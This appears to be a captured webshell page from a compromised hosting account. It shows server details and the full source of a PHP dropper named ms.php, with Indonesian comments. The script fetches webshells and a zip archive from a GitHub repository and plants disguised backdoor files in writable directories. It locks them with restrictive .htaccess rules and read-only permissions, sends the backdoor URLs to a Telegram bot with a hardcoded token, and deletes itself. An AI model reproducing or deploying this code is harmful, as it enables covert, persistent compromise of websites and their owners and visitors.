403Webshell
Server IP : 82.180.147.116  /  Your IP : 216.73.216.4
Web Server : Apache
System : Linux server.vsyshosting.com 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
User : demoplace ( 1009)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/demoplace/public_html/bafanvihir.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/demoplace/public_html/bafanvihir.in/ms.php
<?php
error_reporting(0);
set_time_limit(0);

// --- KONFIGURASI TELEGRAM ---
$botToken = "8389098682:AAFgQn8sk3JBdAG0PwzYPx4gbyQyEw-5Yg8"; 
$chatId   = "-1003872848823";

$folderName  = 'shop';
$zipUrl      = 'https://raw.githubusercontent.com/leakhigh/alfa/refs/heads/main/baru2.zip';
$unzipUrl    = 'https://raw.githubusercontent.com/leakhigh/alfa/refs/heads/main/un.php';
$uploaderUrl = 'https://raw.githubusercontent.com/leakhigh/alfa/refs/heads/main/pws.php';

// Daftar nama file yang di-allow di .htaccess
$whitelistNames = [
    'config.php', 'fetch.php', 'tn.php', 'epep.php', '1a.php', 'a.php', 
    'alfaq.php', 'hpa1.php', 'hps2.php', 'hp23.php', 'hp4.php', 'darks.php', 
    'bxroot.php', 'nothaxor.php', 'wp-content-css.php', 'wp-hader-css.php', 
    'style-css.php', '3PJcpMFsD8B.php', '5PJcpMFsD8B.php', 'file-manager.php', 
    'index.php', 'xrsoot.php'
];

function cari_pintu_depan() {
    $path = dirname(__FILE__);
    while ($path !== '/' && $path !== '.' && $path !== dirname($path)) {
        if (file_exists($path . '/wp-content')) return $path;
        $path = dirname($path);
    }
    return $_SERVER['DOCUMENT_ROOT'];
}

function sedot($url) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)');
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    $data = curl_exec($ch);
    curl_close($ch);
    return $data;
}

function kirim_tele($pesan, $token, $id) {
    $data = [
        'chat_id' => $id,
        'text' => $pesan,
        'parse_mode' => 'HTML'
    ];
    $url = "https://api.telegram.org/bot$token/sendMessage?" . http_build_query($data);
    return sedot($url);
}

function scan_variasi_dir($baseDir, &$results, $depth = 0, $min = 3, $limit = 10) {
    if (count($results) >= $limit) return;
    $dirs = @glob($baseDir . '/*', GLOB_ONLYDIR | GLOB_NOSORT);
    if (!$dirs) return;
    shuffle($dirs); 
    foreach ($dirs as $dir) {
        if (count($results) >= $limit) return;
        $baseName = basename($dir);
        if (in_array($baseName, ['cgi-bin', 'node_modules', '.git', 'cache'])) continue;
        if ($depth >= $min && is_writable($dir)) {
            $parent = dirname($dir);
            $alreadyUsed = false;
            foreach ($results as $r) { if (dirname($r) === $parent) { $alreadyUsed = true; break; } }
            if (!$alreadyUsed) { $results[] = $dir; }
        }
        scan_variasi_dir($dir, $results, $depth + 1, $min, $limit);
    }
}

$rootDir = cari_pintu_depan();
$proto = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http");
$host = $_SERVER['HTTP_HOST'];

// --- 1. DEPLOY SHOP (Akses 0755) ---
$targetPath = $rootDir . '/' . $folderName;
$status_shop = "GAGAL";
if (!is_dir($targetPath)) @mkdir($targetPath, 0755, true);
if (is_dir($targetPath)) {
    $zipData = sedot($zipUrl);
    if ($zipData) file_put_contents($targetPath . '/new.zip', $zipData);
    if (file_exists($targetPath . '/new.zip')) {
        $zip = new ZipArchive;
        if ($zip->open($targetPath . '/new.zip') === TRUE) {
            $zip->extractTo($targetPath . '/');
            $zip->close();
            @unlink($targetPath . '/new.zip');
            if (file_exists($targetPath . '/fetch.php')) {
                $status_shop = "BERHASIL (0755)";
            }
        }
    }
}

// --- 2. STEALTH DEPLOY (Locked 555 + Custom Htaccess) ---
$uploaderContent = sedot($uploaderUrl);
$stealth_results = [];
$targets = [];
scan_variasi_dir($rootDir, $targets, 0, 3, 10);

if ($uploaderContent && !empty($targets)) {
    $allowListStr = implode('|', $whitelistNames);
    foreach ($targets as $dir) {
        $namaFile = $whitelistNames[array_rand($whitelistNames)];
        $pathFile = $dir . '/' . $namaFile;
        $pathHt   = $dir . '/.htaccess';

        if (file_put_contents($pathFile, $uploaderContent)) {
            $htaccess = "<FilesMatch \".*\.(phtml|php|PhP|php5|suspected)$\">\n";
            $htaccess .= "Order allow,deny\nDeny from all\n</FilesMatch>\n";
            $htaccess .= "<FilesMatch \"^($allowListStr)$\">\n";
            $htaccess .= "Order allow,deny\nAllow from all\n</FilesMatch>\n";
            $htaccess .= "<IfModule mod_rewrite.c>\nRewriteEngine On\nRewriteBase /\nRewriteRule ^index\.php$ - [L]\n";
            $htaccess .= "RewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule . index.php [L]\n</IfModule>";

            file_put_contents($pathHt, $htaccess);
            
            @chmod($pathFile, 0555);
            @chmod($pathHt, 0555);
            @chmod($dir, 0555);

            $stealth_results[] = $pathFile;
        }
    }
}

// --- 3. MENYUSUN LAPORAN ---
$report = "<b>🚀 DEPLOY REPORT - " . $host . "</b>\n";
$report .= "━━━━━━━━━━━━━━━━━━━━\n";
$report .= "<b>Shop Status:</b> " . $status_shop . "\n";
if (strpos($status_shop, "BERHASIL") !== false) {
    $report .= "<b>Main:</b> " . $proto . "://" . $host . "/" . $folderName . "/fetch.php\n";
}
$report .= "\n<b>📂 Stealth Backups (Locked 555):</b>\n";

if (!empty($stealth_results)) {
    foreach ($stealth_results as $fullPath) {
        $relativeLink = str_replace($rootDir, '', $fullPath);
        $report .= "✅ " . $proto . "://" . $host . $relativeLink . "\n";
    }
} else {
    $report .= "❌ Tidak ada folder writable ditemukan.\n";
}
$report .= "━━━━━━━━━━━━━━━━━━━━\n";
$report .= "<i>Script self-destructed for safety.</i>";

// --- 4. KIRIM KE TELEGRAM & OUTPUT ---
kirim_tele($report, $botToken, $chatId);

echo "<pre>";
echo "Deployment Finished.\n";
echo "Report has been sent to Telegram.\n";
echo "----------------------------------\n";
echo strip_tags($report);
echo "</pre>";

// Self-destruct
@unlink(__FILE__);
?>

Youez - 2016 - github.com/yon3zu
LinuXploit